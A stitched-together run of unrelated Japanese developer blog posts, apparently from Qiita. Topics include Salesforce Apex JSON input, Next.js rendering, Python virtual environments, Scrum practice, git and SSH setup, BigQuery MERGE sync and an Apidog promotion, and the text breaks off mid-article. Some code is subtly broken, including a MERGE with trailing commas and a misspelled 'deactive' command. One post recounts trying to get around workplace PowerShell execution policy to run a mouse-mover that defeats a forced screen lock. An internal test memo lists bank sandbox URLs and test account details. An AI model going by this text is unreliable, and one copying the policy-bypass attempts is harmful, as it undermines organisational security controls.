[{"message":"Unexpected character ('\"' (code 34)): was expecting comma to separate OBJECT entries at [line:10, column:4]","errorCode":"JSON_PARSER_ERROR"}]
:::

"10005"の後にカンマが無いな。

無事に解決です。思ったより悩みました。

# List型に対応させる

```Java
    @HttpPost
    global static string doPost(List<Body053> b53List){
        system.debug(Logginglevel.INFO,'==========> '+ b53List);
```

Postするデータは以下のフォーマット

```Json
{
"b53List" :[{
  "subject" : "Wingo Ducks",
  "Description" : "707-555-1234",
  "TaskSubtype" : "Task",
  "OwnerName" : "Wingo Ducks",
  "Status" : "Completed",
  "ActivityDate" : "2024-12-18",
  "supplier_code" : "10005",
  "customer_code" : null
},
{
  "subject" : "Wingo Ducks2",
  "Description" : "707-555-1234",
  "TaskSubtype" : "Task",
  "OwnerName" : "Wingo Ducks",
  "Status" : "Completed",
  "ActivityDate" : "2024-12-18",
  "supplier_code" : "10005",
  "customer_code" : null
}
]}
```
下書き2

```
@startuml
[*] --> UserC : 初期状態

state UserC {
    :設定Aと設定Bは\nユーザーCが設定した値;
    UserC : 設定Aを更新\n→ 設定Bも更新
}

UserC --> GuestMode : ユーザーCからゲストに切り替え

state GuestMode {
    :設定Aと設定Bは\nゲストが設定した値;
    :ユーザーCの設定は初期化;
}

@enduml
```
🔰初心者向け　～Next.jsにおけるクライアントサイド、サーバーサイドの使い分け～

Next.jsのメリットとして度々挙げられることが、CSR、SSRが使い分けられることです。

ようやくクライアントサイドレンダリング、サーバーサイドレンダリングをどう使い分けるのか理解したのでまとめます。

# 概念として
今までReactやVue.jsのみを触ってきた人は、CSR、SSRについて考えることなく実装してきたと思います。そこに、フロントエンドだけど、APIの実行をクライアントサイドでするか、サーバーサイドでするかという概念が加わります。

基本的には`/api/users`のような形でAPIを呼び出し、要素を画面に表示させてきたと思います。これはクライアントサイドでAPIを実行してきたということになります。

そこに、サーバーサイドでAPIを実行するやり方も追加されます。その際、`/api/users`のようなAPIエンドポイントは使用しません。直接データベースを扱い、そこで取得したデータの要素を画面に表示させるということをします。

# ややこしい点
ファイルごと（コンポーネントごと）に、CSRかSSRが決まっています。
それらのファイルはフォルダ構成の中にごっちゃになっているので、きれいに分けることはできません。

# CSRファイルかSSRファイルかの判断方法
- use 'client'とページの一番上に書いてあるとCSR
- APIエンドポイントがあるとCSR
- データベースの操作をしているとSSR

# CSRファイルとSSRファイルの使い分け
CSRは、ユーザーの行動によって引き起こされるAPI呼び出しの際に使用します。特に、要素の追加、更新、削除です。

SSRは、ユーザーの行動は関係なく、シンプルに要素を取得する際に使用します。

# CSRとSSRに分けるメリット
CSRはユーザーのアクションによって指定したエンドポイントを使ってAPIを呼び出します。そのAPI送信時に、ユーザーidなどの情報も送りますよね。情報を絞り込んでAPIを呼び出すことでサーバーの負荷が軽減されます。結果としてサクサク動くシステムが作れるということです。

SSRは、サーバー側で一気に全てのデータを取得します。メリットは、サーバーは処理が早いのですぐに要素を表示させることができる点です。ただ、すべてのAPIの呼び出しをサーバーでやると負荷が高くなり、サクサク動くシステムが作りにくくなります。

# まとめ
理解不足や言葉足らずな点があるかと思いますので、気になる点がございましたらご指摘いただけると幸いです。
Pythonの仮想環境をPower shellで構築する

## Pythonの仮想環境を構築する

備忘録として仮想環境を構築する方法を記載します。

### Power Shellを起動し、仮想環境を構築する。

Power Shellで仮想環境を作成するコード
~~~
python -m venv 仮想環境名
~~~

また仮想環境を構築するときpythonのバージョンの指定も可能
~~~
py -3.** -m venv 仮想環境名
~~~
**にはPythonのバージョンが入ります。

作成した仮想環境の有効化
~~~
.\仮想環境名\Scripts\Activate
~~~

仮想環境を無効化
~~~
deactive
~~~

仮想環境を削除。
一旦、有効化した仮想環境を無効化する必要があるので注意
~~~
Remove-Item -Recurse -Force 仮想環境名
~~~

作成した仮想環境にライブラリをインポートする方法
~~~
pip install numpy  #numpyがインポートされる
~~~

インストールしたライブラリを確認する方法
~~~
pip list
~~~
認定スクラムマスター研修での学びあるいはその実践録





# 現在スクラムマスターとして開発チームに参画しております

スクラムマスターとしては経験が浅く、体系的に学んでいなかったので、[[リンクテキスト](URL "https://abi-agile.com/lp/csm/")](URL "タイトル")さんの認定スクラムマスター講座を受け、晴れて認定スクラムマスターになりました。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3822487/debbce73-bc71-4b51-1a58-67fda04de9cf.png)


認定スクラムマスター講座ではものすごく多くの気づきや学びがあり、それを色々と実践投入しているのでご紹介させていただきます。



## スクラムチームに名前を付けよう！

### チーム名の重要性

スクラム開発では、チーム全体が一体感を持ち、共通の目標に向かって進むことが非常に大切です。

しかし、よくある「〇〇開発チーム」といった無機質な名前では、チームとしての愛着や帰属意識が薄れがちです。実際、私が参画したプロジェクトでも同じような状況でした。

スクラムチームには **「自己管理」や「相互の協力」** が求められます。チーム名にアイデンティティが込められているだけで、メンバー同士のコミュニケーションが活性化し、士気向上にもつながると感じました。

### チームメンバー自身で名前を決定

そこで、チーム名をメンバーに決めてもらうよう依頼しました。

その結果、無味乾燥な名前が一転し、チームの個性や雰囲気を反映した、ユニークで愛着の持てる名前に生まれ変わりました。

### 機能名ではなく、自立したチームへ

機能名のチームだと、どうしても **「与えられた感」** が拭えず、スクラムチームが目指す **「自律した組織」** から遠ざかってしまいます。

自分たちでチーム名を決めることで、チームへの愛着や一体感が増し、主体的に活動できる雰囲気が生まれました。

このように、スクラムチームに名前を付けることは、単なる形式的なものではなく、**チームの文化や成長を支える大切な一歩**だと実感しています。

---

## スクラムメンバーのフルスタック化

### フルスタック化の考え方

「フルスタック」と聞くと、多くの人が**フロントエンドとバックエンドの両方を担当できる**イメージを持ちがちです。しかし、スクラムにおけるフルスタック化は、それだけに留まりません。

スクラムメンバーは、将来的に **スクラムマスター（SM）** や **プロダクトオーナー（PO）** の役割も兼ねられるようになることを目指すべきです。最終的には、POやSMがいなくても、開発メンバーだけで開発が進められる **自律したチーム** を作ることが理想です。

### 知識共有がフルスタック化の第一歩

このフルスタック化を実現するために、**知識の共有**が欠かせません。

私は以下の取り組みを通じて、メンバー間での知識共有を進めることにしました。

- **ランチLT（ライトニングトーク）**  
  気軽にランチタイムに発表することで、短時間での知識共有を図ります。

- **アドベントカレンダー**  
  12月に日替わりで技術やノウハウを共有することで、チーム全体のスキルアップを促進します。

- **スクラム勉強会**  
  スクラムの理解を深め、SMやPOの視点も学ぶ機会を定期的に設けます。

### 目指すゴール

これらの活動を通して、メンバー一人ひとりが自身の知識や経験を共有し、**スクラム開発に必要なスキルを幅広く習得**することを目指しています。

最終的には、チーム全員がフルスタックな視点を持ち、**自律的にスクラムを回せるチーム**になることが理想です。

**フルスタック化は単なる技術スキルの向上ではなく、チームの自立と成長のための重要なステップ**です。

---

## モブワークについて

### モブワークとは？

「モブ」と聞くと、一般的には **モブプログラミング（モブプロ）** を思い浮かべる方が多いでしょう。しかし、私たちのチームでは、モブプロに限らず、**設計や意思決定の場面でもモブワーク**を推進しています。

### モブワークのメリット

モブワークを取り入れることで、以下のような効果が期待できます。

- **手戻りをなくす**  
  皆で設計や開発を進めることで、認識の齟齬や仕様の誤解を事前に防ぎ、後からの修正や手戻りを減らせます。

- **レビューが不要になる**  
  その場で全員が内容を確認しながら進めるため、別途レビューを設ける必要がなくなり、効率的に開発が進みます。

- **知識の共有**  
  異なる知識やスキルを持つメンバーが一緒に作業するため、自然と知識やノウハウが共有され、チーム全体のスキル向上につながります。

- **意思決定のスピード向上**  
  設計段階で全員が参加するため、決定事項が即座にチーム内で共有され、スピーディーに次のステップに進めます。

### 実際の取り組み

私たちのチームでは、以下のような場面でモブワークを実践しています。

- **設計モブ**：機能設計やシステム設計をチーム全員で考え、設計方針をその場で決定します。  
- **実装モブ**：複雑な機能や重要なロジックを、メンバー全員で実装します。  
- **課題解決モブ**：障害対応や技術的な課題について、皆で解決策を議論し、実行します。

### 目指すゴール

モブワークを通じて、チーム全員が同じ方向を向き、認識を共有した状態で作業を進めることができます。最終的には、**手戻りやレビューをなくし、効率的で高品質な開発**を実現することを目指しています。

**「みんなで考え、みんなで作る」ことで、スクラムチーム全体の力を最大限に引き出す**。それが、私たちのモブワークの狙いです。



## まとめ：スクラムチームとしての成長

スクラムマスターとしての経験を積む中で、認定スクラムマスター講座で学んだ知識をもとに、**チーム名の工夫**、**メンバーのフルスタック化**、**モブワークの推進**に取り組んでいます。これらの実践を通じて、少しずつチームに変化が見られるようになりました。

まだ道半ばですが、スクラムの本質である **「自己管理」「相互の協力」** を意識しながら、チーム全体で成長し続けています。

今後も、これらの取り組みを深化させ、**真の自律したスクラムチーム**を目指して頑張っていきます！
管理者権限なしで使えるマウスカーソルを動かすスクリプトが欲しかった

こんにちは、ほやほやエンジニアの雪見チョコです
エンジニアとしてまだまだ未熟な私の奮闘日記です

今思うとどうしてこんなことをしてたんだと思いますが
その記録を書き留めようと思います


### 【仕様目的】

ポリシーで設定されているためかWindowsで設定しても
10分毎にスクリーンセイバーが強制起動してしまう

以前リモートワークで話題になったサボり防止のため
マウスカーソルを自動で雑に動かす商品の存在を思い出し
PowerShellで作れないかと思った

参考記事は3秒動いて10秒停止を繰り返すもの
[PowerShellでマウス操作「任意の場所をクリック」](https://tarenagashi.hatenablog.jp/entry/2020/12/07/213259)

ランダムに動く方が様々なシーンで活用でき
今後便利だなと思ったが（悪い考え）
手始めに作成するならシンプルなものが良い

### 【ファイル名】

mouseAuto.ps1

### 【タイムスケジューラ】

⭐︎プログラム / スクリプト
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
⭐︎引数の追加
様々なコマンドC:\shellscripts\mouseAuto.ps1"
⭐︎開始
空欄のまま

### 【進捗】

管理者権限で実行できず(パスワード求められる)

⭐︎潜り抜けようとした手段⭐︎

- 実行ポリシー変更
- -Fileではなく-Commandで直接指定
- -Scope Processにしセッション内だけでポリシー変更
- batで実行
- グループポリシーはアクセス拒否で確認できず

### 【進捗の具体的な内容】

**①実行ポリシー変更**
デフォルトでポリシーが「Restricted」になっている
Get-ExecutionPolicyで確認
Set-ExecutionPolicy -Scope Process -ExecutionPolicy ⚪︎⚪︎で変更、変更先はBypassに設定
**【結果】**
管理者権限に阻まれエラーを出しやがった
ここでプライベートとは違い管理者権限って
厄介なものなんだなと実感（大切な仕様です）

**②-Fileではなく-Commandで直接指定**
元々のスクリプトが長いため、あまり意味ないかなと思ったが引数のところを変更してやってみた。
**【結果】**
何もないただただPowerShellの画面が設定した時間に現れ消えた
スクリーンセイバーの防止には確かになってる、目的は達成しているが「そうじゃないねん」

**③-Scope Processにしセッション内だけでポリシー変更**
同じく引数のところを変更。全体のポリシーを変更できないならスケジューラ実行時だけ起動するという一時的ポリシー変更できる神コードを発見。
システム全体に影響ないし実行ポリシーは完全に無視できるため勝ったと思った時期が私にもありました。
**【結果】**
「どうして何も動かないん？？？？」

**④batで実行**
後日記述する予定だが、とあるプログラムbatがちゃんと動いていたのである。そうだ、batで回避できるのではないか。という淡い期待を抱いていた。またこの頃になると管理者権限をどうにかしないといけないとも薄々思ってはいたが、まだまだ諦め切れなかった。
**【結果】**
「マルウェア検知されたのだが？？？？」

（一体私はどんなコマンドを打っていたのでしょう。。）

**⑤グループポリシー確認**
いやこんなマルウェア検知されるだなんて私にはどんなポリシー掛けられてんねん！！怒ったぞ！！確認するぞ！！
**【結果】**
グループポリシーページへのアクセス権なし

**⑥ChatGPT様に聞いてみる**
もう疲れたよパトラッシュ、、そうだ今流行りのChatGPT様に聞いてみたら教えてくれるのではないか！？
「ChatGPT様、管理者権限を掻い潜る方法を教えてください」
**【結果】**
GPT様「セキュリティを回避する行為は組織や法律の規定に違反する可能性がありますので正当な方法で対応してください」

怒られました、そりゃそうだ（当たり前）

### 【まとめ】
管理者権限はどうにもできません、管理者権限なしでできる何かをしましょう。ここまでやってやっと諦めが付きました。
まあそもそも管理者権限をなんとかしてやろうって考えがダメってのは反省してます。あ、ちなみにタスクスケジューラにある管理者として実行する的なチェックもだめでした。

またマウスカーソルが動かせないのなら画面クリックは大丈夫だろ！と思いましたが同じく管理者権限でダメでした。
[PowerShellでマウス操作「任意の場所をクリック」](https://tarenagashi.hatenablog.jp/entry/2020/12/07/213259)
これできたらマウスより見た目はスタイリッシュでいいと思ったのですがね。。

これからは大人しく管理者権限に縛られて
スクリプト作成していきます
2ヶ月間のNext.js案件を終えての感想

中規模程度のNext.jsの案件にアサインしました
案件を終えての感想を記録しておこうと思います

# フロントだけではなかった
私のスキルや経験は主にフロントです。この案件のフロントはReactで書かれていたので問題ないかと思いました。

しかし、実際には案件にアサインしてからバックエンドのnode.jsもやってくれと頼まれました。
全く触ったことがなかったので、テンパりました。
担当したものはシンプルなマスタ画面のCRUDですが、フォルダ構成が複雑でなかなか理解に時間がかかりました。

フロントエンドエンジニアといえど、バックエンドの理解はある程度必要であると学びました。

# コード理解速度が勝負
自社開発で一つの案件にアサインし続ける方はあまり関係ないかもしれませんが、客先案件に短期間でアサインを繰り返すような働き方をしている方、考えている方はコードの理解速度がなによりも大事です。

どんな案件でもシステムとコードの理解から始まり、その理解度によってその後の仕事のスピードに差が出てきます。
瞬時にフォルダ構成を理解し、概要を把握する能力が後々の自分を助けることにつながります。

# 自分でコードを書く力が必要
今までは、実装にAIがあればどうにかなると考えていました。

しかし、AIをうまく活用するためにも、根本的なReactの概念の理解が大事だと考えました。
アサイン先の環境によって利用しているライブラリやコードの書き方が全く違います。

しかし、根本的にやりたいことはどのシステムでも似通っています。

例えば、状態管理、バリデーション、コンポーネントなど。AIに聞いて実装するのではなく、自分でコードを書いて細部まで理解することで、どんな環境でも根本の理解が早まり、結果的にAIの活用や実装手順が上手になります。

# まとめ
2カ月間の案件を終えて、まだまだスキルが足りないと感じました。

今後行いたい学習は、Git上の完成済みリポジトリを読み込み、コード理解の速度を速めること、新規コンポーネントを作成しながらコードを書く力をつけることです。
Githubの公開鍵登録

公開鍵・秘密鍵を生成するときにファイル名をid_rsaから変更する（例えばid_rsa-githubとか）と，configで鍵の名称を指定しないと，接続エラーする。（Permission Denyになる）

configの設定したあとだと，ssh -T git@github.comでエラーしない。
GCSに毎日アップされるcsvをBigQueryに同期する

この記事は「[BigQuery Advent Calendar 2024](https://qiita.com/advent-calendar/2024/bigquery)」の18日目の記事です。


# はじめに
こんにちは、hoppy([@its_my_hoppy](https://x.com/its_my_hoppy))といいます。
この記事では、最近自分が行ったGCSのcsvデータをBigQueryに自動で同期するといったことをどのようにして実装したか書いてみようと思います。
# 実装の要件
実装の要件は下記の通りとなっています
- csvはGCSに毎日アップロードされる
    - アップロードされる内容はその日の更新分のみ
    - csvのファイル名は毎日同じファイル名でアップされる
- 更新分を毎日BigQueryのtableにも反映させたい
    - tableはupsert(insert or update)で、あるカラムの値がすでにある場合は行を更新してない場合は行を挿入する

# 実装
csvを下記と仮定して話を進めていこうと思います。
| id(int) | hoge(str) | creatad_at(date)
|:-:|:-:|:-:|
| 1  |  fuga |2024-01-01
|  2 |  foo |2024-01-02

### GCSからBigQueryにデータを流す
GCS上にあるcsvデータをBigQueryに流すのはdata transferを用いて行いました。
ここでのステップとしては、
1. 流したいcsvデータと同様のschemaの空のtableをBigQuery側に作成する
1. data transferで送信スケジュールを設定する

となっています。

空のtableを作成する際は下記DDLをBigQueryのコンソールで実行すれば作成できます。
```
CREATE TABLE dataset_name.table_name (
  id INT64,
  hoge STRING,
  created_at DATE
);

```
ここでの注意点は下記の2点です。
- csv側のschemaと一致していること
    - カラム名とデータ型が一致している
- ここで作成したtableはあくまでもGCSからのデータを一時的に保存するためのtable
    - BigQuery上で更新されたものをすべて保持しておくtableは別で作成するので混同しないような命名にしておく



data transferでの送信スケジュールの設定は下記のように設定しました。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3635501/3cf2414e-f35b-ceb8-5c7d-c2d9ebbdfbe8.png)
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3635501/5bdf0269-1b39-9e96-0ad2-ce9c125743bc.png)

ここでの注意点は下記の3点です。
- Write preferenceをMIRRORにする
    - MIRRORは更新のたびにdestination table(ここでは上で作成したもの)を上書きしてくれます
    - APPENDは上書きせずレコードを追加をしてくれるが今回やりたい実装に適していないので利用していない
- Header rows to skipを1にする
    - 基本的にcsvの1行目はカラム名が入っていると思うのでここは取り込まないようにする
- サービスアカウントに適切なroleを付与しておく
    - 今回自分はSAを作成して実行をしているがmustではない
### BigQueryに更新されたデータをtableにupsertしていく
ここまでで、GCSにアップロードされたcsvデータをBigQueryに送るとこまで完了しました。
次は、上記で作成した一時tableのデータを対象table(更新分をすべて蓄積しておくためのもの)にupsertしていく部分について説明していきます。
ここでのステップとしては、
1. もしない場合は対象となるtableを作成する
1. upsertするためのクエリを書く
1. 書いたクエリをscheduled queryとして自動で動かすようにする
となっています。

tableを作成するのは上記と同様にDDLを実行して作成します。
命名が被らない、混同しないようにすれば問題ないと思います。

次にupsertをするためのクエリを書きます。
ここではidカラムをキーとして、対象tableに同じキーが存在していた場合は一時テーブルのデータで行を更新して、存在しない場合は一時テーブルのデータを挿入するといった挙動になるようにします。
クエリは以下となります。
```
MERGE
  `project_name.dataset_name.対象table_name` AS T
USING
  `project_name.dataset_name.一時table_name` AS S
ON
  T.id= S.id -- キーの指定
WHEN MATCHED  THEN　-- キーが存在していたときの処理
  UPDATE SET
   T.hoge = S.hoge,
   T.created_at = S.created_at,
WHEN NOT MATCHED THEN　-- キーが存在していないときの処理
  INSERT (
  id,
  hoge,
  created_at,
    )
  VALUES (
  S.id,
  S.hoge,
  S.created_at,
    )
```
ここでの注意点は特にないのですが、data transferの部分でAPPENDを採用しなかったのはキーが重複しているとここでうまくクエリが動作しないためです。
クエリを作成したらコンソール上のスケジュールボタンからクエリの実行間隔と時間を設定したら完了です。

# おわりに
初めてGCSからBigQueryにデータを転送する仕組みを作成しましたが、結構簡単にできました。
データ基盤でいうところのextractの部分にあたり、ユースケースによっては使えることが多いかなといった印象です。
今回はすべてGUI上で設定しましたが、時間がある時にterraformでコード管理できるようにしようかなと思っています。

ここまで読んでいただきありがとうございました！
ぜひX([@its_my_hoppy](https://x.com/its_my_hoppy))のフォローもよろしくおねがいします！
とあるサービスリリースの裏側で起きたこと

**～想定外のアクセスにドキドキが止まらない！～**

最近、とあるサービスのリリースタイミングで24時間待機の依頼を受けた。
我々が提供しているのはSaaSサービスでありエンジニアにとっても負担がある為、できれば避けたいものだったが、お客様にとって重要なサービスであり、我々にとっても今後大きなパートナーになり得る存在であるため、この依頼を受けることとした。

今回リリースするサービスは、リリースまで内容が一切公開されないという、これまでにない異例なプロジェクトだ。リリース直後はアクセスがほとんどないことが予測されており、徐々にアクセスも伸びていくのだろうと皆が思っていた。ただし、我々はそのような状況でもリリースの準備に手を抜くことはなく、十分な負荷試験も実施し、準備万端でリリースに臨んだ。
のんびりとしたリリースになるはずだった。そう、その時までは。。

　　

そんな中リリース当日の朝を迎えた。皆リラックスして臨んでいる。
そしてその時はきた。サービスがリリースされ、ユーザーへのサービス開始の情報が公開されたのだ。ここまでは予定通り。
　　
ただすぐに状況は一変する。アクセス数がどんどん伸びてきたのだ。
アクセス数は事前に想定したMAX値をはるかに超えどこまで伸びるか想像もつかない、当然サーバーは悲鳴をあげ始めた。
　　
**「これはまずい！」**
<img width="500" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3624856/61224af9-c99c-f765-7321-bae2023c2b25.jpeg"/>
　　
焦りを感じながらも、チーム一丸となってサーバー増設作業に追われた。
まるでジェットコースターに乗っているような、高揚感と緊張感に包まれた1時間。まだ1時間しかたっていないのだということに衝撃を受けたが、チームの迅速な対応により、なんとか事態は収束に向かった。
　　
状況が落ち着き、チームメンバー全員が
　　
**「マジか！」**
　　
と声を揃えた。予想をはるかに超えるアクセス数に、私たちだけでなく、お客様も驚きを隠せない様子だった。しかし我々は1チームとなってこの想定外の状況を乗り越えたのだ！

この経験を通して、我々はこのお客様のサービスのリリースがいかにダイナミックで、予測不可能なものかということを改めて実感した。同時に、このお客様のサービスに対する市場の期待の大きさを肌で感じ、感動すら覚えた。

結果的にお客様も含めお互い想定外のリリースとなったが、それを一緒に乗り越えられたことは我々や我々のサービスへの信頼も含め今後にとってもプラスに働くことだろう。
まだまだわくわくさせてくれそうな、このお客様との今後が楽しみで仕方がない！
　　
※一部大げさな表現が含まれます
Gitでローカルプロジェクトを既存のリモートリポジトリと統合する方法 (--allow-unrelated-histories)

# Gitでローカルプロジェクトを既存のリモートリポジトリと統合する方法(--allow-unrelated-histories)

この記事は、すでに作成済みのローカルプロジェクトを既存のリモートリポジトリと統合する方法を説明します。

## ユースケース

- XcodeやAndroid Studioなどの開発ツールがプロジェクト作成時に自動でGitリポジトリを初期化している
- ローカルで開発を進めていたが、既存のリモートリポジトリを利用して管理する必要がある

## 対象のリモートリポジトリ構成

この記事では、次のような構成のリモートリポジトリを前提としています:

- メインブランチ (main): 本番環境で使用する安定版コードを管理するためのブランチで、通常は直接開発を行いません
- 開発用ブランチ (develop): 開発中のコードや新機能を実装する際に使用されるブランチ

## 事前準備

- Gitがインストールされていること

ターミナルで次のコマンドを実行し、Gitがインストールされているか確認してください:

```
git --version
```

Gitがインストールされていない場合は、公式サイトのインストール手順に従ってください:

[Git公式ダウンロードページ](https://git-scm.com/)

## 手順

### 1. リモートリポジトリからdevelopブランチを取り込む

リモートリポジトリのURLを追加する:

```bash
git remote add origin <リモートリポジトリのURL>
```

developブランチを作成し、切り替える:

```bash
git checkout -b develop
```

すべてのローカルファイルをステージングに追加する:

```bash
git add .
```

ローカルの変更をコミットする:

```bash
git commit -m "backup local changes before pulling"
```

リモートからdevelopブランチを取り込む（異なる履歴を許可する）:

```bash
git pull origin develop --allow-unrelated-histories   
```

#### Gitのヒントが表示された場合

Gitが次のようなヒントを出すことがあります:

```bash
hint: You have divergent branches and need to specify how to reconcile them.
```

mergeを選択する場合は次を実行する:

```bash
git config pull.rebase false 
```

変更内容を反映するため再度プルします:

```bash
git pull origin develop --allow-unrelated-histories  
```

#### コンフリクトが発生した場合:

リモートとローカルの変更が競合すると、次のようなメッセージが表示されます:

```
CONFLICT (content): Merge conflict in <ファイル名>
Automatic merge failed; fix conflicts and then commit the result.
```

対象のファイルの競合を解決し、変更をコミットする:

```
git add .
git commit - m "resolved merge conflict in <ファイル名>"
```

### 2. リモートに変更をプッシュする:

```bash
git push origin develop
```

### 3. ローカルブランチを整理する

不要なローカルブランチによる混乱を防ぐため、ローカルのmainブランチを削除する:

```
git branch -D main
```

リモートブランチの情報を更新する:

```bash
git fetch
```

このコマンドはリモートの変更履歴を更新するだけで、ローカルの状態には影響しません。

これで、ローカルプロジェクトが既存のリモートリポジトリに統合されました！ 🎉
AlphaテストとBetaテストの違い：ソフトウェア品質を向上させるための基礎

## はじめに
ソフトウェア開発において、テストは製品の品質を確保するために非常に重要なプロセスです。特にアルファテストとベータテストは、開発の後期段階で行われる重要なテストです。これらのテストはそれぞれ異なる目的と特徴を持っており、開発者と関与するテストチームにとって重要な役割を果たします。この記事では、アルファテストとベータテストの違い、特徴、利点について詳しく比較し、どちらのテストがどのようなシチュエーションに最適かを解説します。

:::note info
アプリケーションでアルファテストを実施してから、[Apidog](http://www.apidog.com/jp/?utm_source=opr&utm_medium=a2takuya)を使用してベータテストフェーズに進みましょう。

Apidogは、開発者がAPIを設計、テスト、文書化、モックするためのシンプルで直感的なユーザーインターフェースを提供するローコードAPIプラットフォームです。

今すぐ [Apidog を試して](https://apidog.com/jp/download/)、API テストの効率化を実感してください！
:::

![apidog-client-1.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3877124/0d2a9f64-c242-c321-dc77-d02f061e83bc.png)

## アルファテスト
アルファテストは、ソフトウェア開発プロセスの初期段階で行われる内部テストです。開発チームによって実施され、ソフトウェアが最初に完成した後、バグや問題を発見するために行われます。

### アルファテストの主な特徴
- **内部テスト**：アルファテストは通常、開発チームや内部のテストチームによって行われます
- **未完成のソフトウェア**：テスト時点では、ソフトウェアがまだ完全に完成していないことが多いため、機能やインターフェースに問題がある可能性があります
- **バグ修正の目的**：主な目的は、バグを早期に発見し、修正することです

### アルファテストの利点
- **早期の問題発見**：開発段階での初期バグを修正することができます
- **コストの削減**：後で発見されたバグを修正するためのコストを削減できます
- **フィードバックの即時反映**：開発チームが直接フィードバックを受け取り、迅速に修正を行える環境です

## ベータテスト
ベータテストは、アルファテストが終了した後、製品を外部のユーザーに提供して行うテストです。このテストでは、より多くのユーザーがソフトウェアを試し、実際の使用環境でどのように動作するかを確認します。

### ベータテストの主な特徴
- **外部テスト**：一般的には、選ばれた外部ユーザーや一部の顧客が参加します
- **完成度の高い製品**：アルファテストよりも完成度が高い状態で、実際の運用環境に近い状態でテストされます
- **フィードバックの収集**：ユーザーからのフィードバックを収集し、最終的なリリースの改善に役立てます

### ベータテストの利点
- **ユーザー視点でのフィードバック**：実際のユーザーが使用するため、ユーザー視点での重要なフィードバックを得ることができます
- **実際の使用環境でのテスト**：ソフトウェアが実際の環境でどう動作するか、問題が発生するかを確認することができます
- **リスクの低減**：最終リリースの前にユーザーからの意見を取り入れることで、製品の品質を高めることができます

## アルファテスト対ベータテストの比較

**簡潔な比較：**
| 特徴 | アルファテスト | ベータテスト |
|:-:|:-:|:-:|
| 実施場所  |開発チームまたは内部テストチーム|外部のユーザー、一般的な顧客|
|  テスト段階 | 開発初期段階  | 開発後期段階、最終製品に近い  |
|  テストの目的 | バグの早期発見と修正  | 実際のユーザー環境での最終的な調整とフィードバック  |
| フィードバックのタイプ  | 開発者向け、機能や性能の問題  | ユーザー向け、実際の使用感や操作性の問題  |
|  ソフトウェアの完成度 |  未完成、機能が制限されていることが多い | より完成度が高い、ほぼ最終リリースに近い状態|



## 終わりに
アルファテストとベータテストは、それぞれ異なる目的と特性を持っており、ソフトウェア開発においてどちらも重要な役割を果たします。アルファテストは開発初期にバグを発見し修正するために行い、ベータテストは最終リリース前にユーザーからのフィードバックを得て、最終調整を行うためのテストです。

適切なタイミングでこれらのテストを行うことにより、製品の品質を高め、ユーザーに最良の体験を提供することができます。最終的には、これらのテストから得られたデータとフィードバックを基に、製品の完成度をさらに高めていくことが重要です。

**最後まで読んでくださり、ありがとうございました！
この記事を読んで少しでも理解を深めていただければ幸いです！**
では、また次の記事で～！
ffg-test

①タブ１：申込サイト⇒ログイン画面⇒案件一覧画面
URL：https://fukuoka-fg-loan-admin--dev21.sandbox.my.site.com/appsite/?bank=fukuoka&loantype=ffgcard

②タブ３：申込サイト　
下記URLから申込サイト入力
URL：https://fukuoka-fg-loan-admin--dev21.sandbox.my.site.com/appsite/?bank=fukuoka&loantype=ffgcard
③タブ３：
https://fukuoka-fg-loan-admin--dev21.sandbox.my.site.com/mypage

test51@fukuoka-fg.com

https://fukuoka-fg-loan-admin--tsuika3dev.sandbox.my.site.com/mypage

＃＃日興
もうしこｍ
https://smbcnikko--nextonedev.sandbox.my.salesforce-sites.com/ao_nextonedriver
　　98631715-0b07-11ec-ab3b-68545a6e5055

###

東京都中央区湊２－１５－１４－１
ﾄｳｷｮｳﾄﾁｭｳｵｳｸﾐﾅﾄ2-15-14-1
090
1234
5678
jsolsmbcnikko2+nextone-ut001@gmail.com
20231212-1525-11ec-ab3b-68545a6e5055

マイページ
https://smbcnikko--nextonedev.sandbox.my.site.com/mypagelex/s/login/?ec=302&startURL=%2Fmypagelex%2Fs%2F

EzPassword
https://smbcnikko--nextonedev.sandbox.my.site.com/mypagelex/s/AO_EzPassSetMock

 ※再開時のURL
https://smbcnikko--nextonedev.sandbox.my.site.com/mypagelex/secur/logout.jsp

### システムテスト
No1
https://smbcnikko--aodev01.sandbox.my.salesforce-sites.com/ao_nextonedriver
No2
https://smbcnikko--aoedev01.sandbox.my.site.com/mypagelex/secur/logout.jsp

https://smbcnikko--aodev01.sandbox.my.site.com/mypagelex/s/login/?cid=MOP09

No3
https://smbcnikko--aodev01.sandbox.my.salesforce-sites.com/

### メモ
「当行口座からの自動返済（口座引落型）」をご希望の方は、普通預金口座の開設が必要となりますので、審査手続きが進んだ段階であらためてご案内を差し上げます。

なお、当行の普通預金口座の開設をご希望されない方は、「ATMでのご返済（直接入金型」を選択のうえお申し込みください。
好きなCopilotのプロンプトを保存・閲覧する(BizChat)

Microsoft Copilot(BizChat)でプロンプトが保存・共有できるようになっています。
定期的に使うプロンプトや、型が決まっているもの、入力めんどい系のプロンプトはこの機能を使うと楽になりそうです✨
Copilot プロンプト ギャラリー（旧CopilotLab）も含めてご紹介したいと思います。

https://copilot.cloud.microsoft/ja-jp/prompts

## プロンプトの保存方法

一度プロンプトを打ったあとに、自分のプロンプトの上をホバーするとブックマークが出現します。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3629241/e4997211-bd43-0ecd-fdad-5b7b133dc67a.png)

好きなタイトルをつけて、プロンプトを保存すると…（プロンプトは改変可能）
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3629241/a40d600f-aeb9-ed76-eade-8da5753f557f.png)

呼び出したい時は、プロンプト入力部分の横の「プロンプトを表示する」からぽちっと押すと、
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3629241/39064f7d-3516-9b0e-c8f5-772ae59820f1.png)

プロンプトが入力された状態になります。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3629241/07560986-9b48-cc1f-6bc1-561eb32b0a2c.png)

### 参照系（人・会議・資料）も保存可能です

日によって（？）うまくいかない場合もあるので注意
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3629241/76b8f34f-0f98-e374-4fe0-f32003d614ff.png)

## Copilot プロンプト ギャラリーについて
